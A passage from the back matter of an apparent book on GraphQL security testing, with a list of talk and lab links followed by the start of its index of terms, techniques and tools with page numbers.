LevelUp 0x05” by Matt Szymanski (https://www.youtube.com/watch?v=NP
Dp7GHmMa0)
“An Introduction to GraphQL Security” by Christina Hastenrath (https://ww
w.youtube.com/watch?v=aI-wI14D1nw)
“Damn GraphQL—Defending and Attacking APIs” by Dolev Farhi (https://w
ww.youtube.com/watch?v=EVRf708-zq4)
“Access Control Vulnerabilities in GraphQL APIs” by Nikita Stupin (https://
www.youtube.com/watch?v=bCfKqPnt_8Y)
“GraphQL APIs from a Bug Hunter’s Perspective” by Nikita Stupin (https://
www.youtube.com/watch?v=nPB8o0cSnvM)

https://github.com/david3107/graphql-security-labs
https://github.com/0xbigshaq/hackmegraph
https://github.com/righettod/poc-graphql
https://www.youtube.com/watch?v=jyjGneKJynk
https://www.youtube.com/watch?v=Wb0BO8J7024
https://www.youtube.com/watch?v=OQCgmftU-Og
https://www.youtube.com/watch?v=NPDp7GHmMa0
https://www.youtube.com/watch?v=aI-wI14D1nw
https://www.youtube.com/watch?v=EVRf708-zq4
https://www.youtube.com/watch?v=bCfKqPnt_8Y
https://www.youtube.com/watch?v=nPB8o0cSnvM
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Please note that index links to approximate location of each term.

Symbols
& (ampersand), 208
* (asterisk), 203, 205
@ (at symbol), 54, 194
\ (backslash), 200
: (colon, for query aliasing), 50
{} (curly brackets), 47–48, 74–78, 176, 228
$ (dollar sign), 53
&& (double ampersand), 208
-- (double dash), 202
|| (double pipe), 208
" (double quotes), 197, 200
__ (double underscore), 78, 89–90, 94, 143, 150–151, 194
! (exclamation mark), 57
# (hash mark), 26
; (semicolon), 207–208
' (single quote), 197, 201
... (spread operator), 52–53



[] (square brackets), 7, 123
_ (underscore), 150

A
abstract syntax tree (AST), 8
adjacent server, 213
Agoo, 255–256
aliases, 50–52

overloading, 116–119
Altair, 25–28
Amazon Web Services (AWS), 143–144
ampersand (&), 208
anti-CSRF tokens, 223, 228, 233–234, 240–241
Apache, 135
Apache Skywalking, 264–265
Apache Software Foundation, 95, 264
API Security Top 10, 190
Apollo Client, 8
AppImage extension, 25
application programming interface (API), 1

consumers, 1–2
endpoint paths, 15–16
pagination, 122, 133
scanners, 16, 164

arguments, 43, 48–50, 191–193
array-based query batching, 122–127, 253–255



ash_nz, 257
Assetnote, 36
asterisk (*), 203, 205
Atlassian, 2
at symbol (@), 54, 194
attack surface, 41–42

matrix, 98
audit logs, 47
authentication and authorization

flaws, 69, 163
GraphQL Modules, 169
GraphQL Shield, 169–170
HTTP basic authentication, 165–166
in-band vs. out-of-band, 164
IP-based allow listing, 171
OAuth, 167–169
schema directives, 170–171

authorization grant, 167
autocorrection, 147
automatic persisted queries (APQ), 99, 134–135
awk, 141

B
backslash (\), 200
Base64, 166–167, 178
Bash



automating detection with cURL, 80
creating ID dictionaries, 184
for loop, 84, 109
formatting, 84
merging text files, 154
testing hosts, 109

BatchQL, 36, 126–127, 174, 232
batch requests, 99
blind SQL injection, 197
blind XSS, 213–214
Boolean-based SQL injection, 197
Boolean scalar type, 58
browser exploitation, 213
brute forcing, 173–177, 183–185

argument brute forcing, 183
CSRF token brute forcing, 234
password brute forcing, 173, 176

bug bounty, 66, 74, 248, 257, 260, 274
Burp Suite, 32–33, 197–200

BApp Store, 35
Byron, Lee, 148

C
caching, 134–135
canary GraphQL query, 85, 144, 172
central processing unit (CPU), 102, 128



cEWL, 154
circular relationships

fragments, 109, 255–256
introspection, 109, 251
queries, 102, 109, 118

claims, 168
Clairvoyance, 33–34, 152–154
classic SQL injection, 196–197
Classless Inter-Domain Routing (CIDR), 193–194
code review, 210–211
colon, for query aliasing (:), 50
comma-separated values (CSV), 40, 176, 184
Commix, 37–38, 208–210
Common Weakness Enumeration (CWE), 102
consolidator API layer, 8
cookies

authentication, 177
exfiltration, 211
session, 222, 240

cost analysis, 99, 128–130
cost analyzer, 128, 130
CrackQL, 40, 176–177, 183–184
credit-based rate limiting, 130
cross-site port attack (XSPA), 239
cross-site request forgery (CSRF)

GET-based cross-site request forgery, 228–231, 267–268



POST-based cross-site request forgery, 225–227
prevention, 232–234

cross-site scripting (XSS), 188, 211–214
blind, 213–214
DOM, 214
hunter, 214
reflected, 211–212
stored, 213–214

cross-site WebSocket hijacking (CSWSH), 46, 240–244
CS Money, 249
cURL, 24–25
curly brackets ({}), 47–48, 74–78, 176, 228

D
Damn Vulnerable GraphQL Application (DVGA), 29–31

changing modes, 93
installing, 28–29
rolling back, 215
security mechanisms, 93

data classification, 140
data field, 13, 74–75
datastore layer, 165
data types

enums, 58–59
inputs, 62–63
interfaces, 61–62



objects, 57–58
scalars

Boolean, 58
Float, 58
ID, 58
Int, 58
String, 58

unions, 60–61
Debian, 22
debug mode, 99, 157–158
declarative query language, 6, 14
decorate a field, 54
dee_see, 38
defense in depth, 234
denial of service (DoS), 69, 102, 248–256
dirbuster wordlist, 84
directives

overloading, 119–121
query-level

@defer, 56
@include, 54–56
@skip, 54–56
@stream, 56

schema-level
@auth, 170–171, 181–182
@computed, 56



@cost, 129
@deprecated, 54–56
@hasRole, 171
@protect, 171
@specifiedBy, 54, 56

disabled introspection, 93, 142–144, 148
Docker, 28–30
Document Object Model (DOM), 214
dollar sign ($), 53
double ampersand (&&), 208
double dash (--), 202
double pipe (||), 208
double quotes ("), 197, 200
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